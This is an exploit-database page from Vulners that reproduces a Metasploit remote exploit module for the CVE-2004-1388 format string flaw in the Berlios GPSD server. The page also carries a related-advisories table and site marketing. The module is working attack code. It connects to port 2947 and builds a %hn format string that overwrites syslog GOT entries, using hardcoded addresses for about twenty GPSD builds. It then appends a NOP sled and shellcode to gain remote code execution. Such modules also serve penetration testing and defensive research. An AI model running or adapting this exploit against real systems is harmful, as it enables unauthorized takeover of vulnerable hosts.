Lucene search
K

Berlios GPSD Format String Vulnerability

🗓️ 18 Dec 2007 04:39:59Reported by Yann Senotier <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 16 Views

Berlios GPSD Format String Vulnerability. Exploits a format string vulnerability in the Berlios GPSD server. Discovered by Kevin Finisterre

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
gpsd < 2.8 gpsd_report() Function Remote Format String
27 Jan 200500:00
nessus
Tenable Nessus
Berlios gpsd gpsd_report() Function Format String
27 Jan 200500:00
nessus
ATTACKERKB
CVE-2005-0228
2 May 200504:00
attackerkb
Circl
CVE-2004-1388
30 Apr 201000:00
circl
CVE
CVE-2004-1388
6 Feb 200505:00
cve
Cvelist
CVE-2004-1388
6 Feb 200505:00
cvelist
Debian CVE
CVE-2004-1388
6 Feb 200505:00
debiancve
Exploit DB
Berlios GPSD 1.91-1 &lt; 2.7-2 - Format String
25 May 200500:00
exploitdb
Exploit DB
Berlios GPSD - Format String (Metasploit)
30 Apr 201000:00
exploitdb
exploitpack
Berlios GPSD 1.91-1 2.7-2 - Format String
25 May 200500:00
exploitpack
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Berlios GPSD Format String Vulnerability',
      'Description'    => %q{
          This module exploits a format string vulnerability in the Berlios GPSD server.
        This vulnerability was discovered by Kevin Finisterre.
      },
      'Author'         => [ 'Yann Senotier <yann.senotier[at]cyber-networks.fr>' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2004-1388' ],
          [ 'OSVDB', '13199' ],
          [ 'BID', '12371' ],
          [ 'URL', 'http://www.securiteam.com/unixfocus/5LP0M1PEKK.html'],

        ],
      'Platform'       => 'linux',
      'Arch'           => ARCH_X86,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1004,
          'BadChars' => "\x00\x0a\x0d\x0c",

        },
      'Targets'        =>
        [
          [ 'gpsd-1.91-1.i386.rpm', { 'Syslog' => 0x0804f250, 'Ret' => 0x41424344 }, ],
          [ 'gpsd-1.92-1.i386.rpm', { 'Syslog' => 0x0804f630, 'Ret' => 0x41424344 }, ],
          [ 'gpsd-1.93-1.i386.rpm', { 'Syslog' => 0x0804e154, 'Ret' => 0x41424344 }, ],
          [ 'gpsd-1.94-1.i386.rpm', { 'Syslog' => 0x0804f260, 'Ret' => 0x41424344 }, ],
          [ 'gpsd-1.95-1.i386.rpm', { 'Syslog' => 0x0804f268, 'Ret' => 0x41424344 }, ],
          [ 'gpsd-1.96-1.i386.rpm', { 'Syslog' => 0x41424344, 'Ret' => 0x41424344 }, ],
          [ 'gpsd-1.97-1.i386.rpm', { 'Syslog' => 0x0804b14c, 'Ret' => 0x41424344 }, ],
          [ 'gpsd-2.1-1.i386.rpm', { 'Syslog' => 0x0804c7a0, 'Ret' => 0x41424344 }, ],
          [ 'gpsd-2.2-1.i386.rpm', { 'Syslog' => 0x0804c7a0, 'Ret' => 0x41424344 }, ],
          [ 'gpsd-2.3-1.i386.rpm', { 'Syslog' => 0x0804c730, 'Ret' => 0xbfffd661 }, ],
          [ 'gpsd-2.4-1.i386.rpm', { 'Syslog' => 0x0804c7b8, 'Ret' => 0xbfffde71 }, ],
          [ 'gpsd-2.5-1.i386.rpm', { 'Syslog' => 0x0804c7dc, 'Ret' => 0xbfffdc09 }, ],
          [ 'gpsd-2.6-1.i386.rpm', { 'Syslog' => 0x0804c730, 'Ret' => 0xbffff100 }, ],
          [ 'gpsd-2.7-1.i386.rpm', { 'Syslog' => 0x0804c5bc, 'Ret' => 0xbfffcabc }, ],
          [ 'gpsd_2.6-1_i386.deb', { 'Syslog' => 0x0804c7c4, 'Ret' => 0xbfffedc8 }, ],
          [ 'gpsd_2.7-1_i386.deb', { 'Syslog' => 0x0804c6c4, 'Ret' => 0xbfffc818 }, ],
          [ 'gpsd_2.7-2_i386.deb', { 'Syslog' => 0x0804c770, 'Ret' => 0xbfffee70 }, ],
          [ 'SuSE 9.1 compiled 2.0', { 'Syslog' => 0x0804c818, 'Ret' => 0xbfffe148 }, ],
          [ 'Slackware 9.0 compiled 2.0', { 'Syslog' => 0x0804b164, 'Ret' => 0xbfffd7d6 }, ],
          [ 'Slackware 9.0 compiled 2.7', { 'Syslog' => 0x0804c3ec, 'Ret' => 0xbfffe65c }, ],
          [ 'Debug              ', { 'Syslog' => 0x41424344, 'Ret' => 0xdeadbeef }, ],
        ],
      'DisclosureDate' => '2005-05-25'))

    register_options(
      [
        Opt::RPORT(2947)
      ])
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    offset = 17
    dump_fmt = 7
    al = 3

    hi = (target.ret >> 0) & 0xffff
    lo = (target.ret >> 16) & 0xffff

    shift0 = sprintf("%d",hi) - sprintf("%d",offset) - (dump_fmt * 8 + 16 + al)
    shift1 = (sprintf("%d",0x10000) +  sprintf("%d",lo)) - sprintf("%d",hi)

    buf  = "A" * 3 + "B" * 4
    buf +=  [ target['Syslog']].pack('V')
    buf += "B" * 4
    buf +=  [ target['Syslog'] + 0x2].pack('V')
    buf += "%.8x" * 7 + "%." + shift0 + "lx%hn" + "%." + shift1 + "lx%hn"
    buf += make_nops(3000) + payload.encoded

    sock.put(buf)

    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
0.4Low risk
Vulners AI Score0.4
CVSS 27.5
EPSS0.74086
16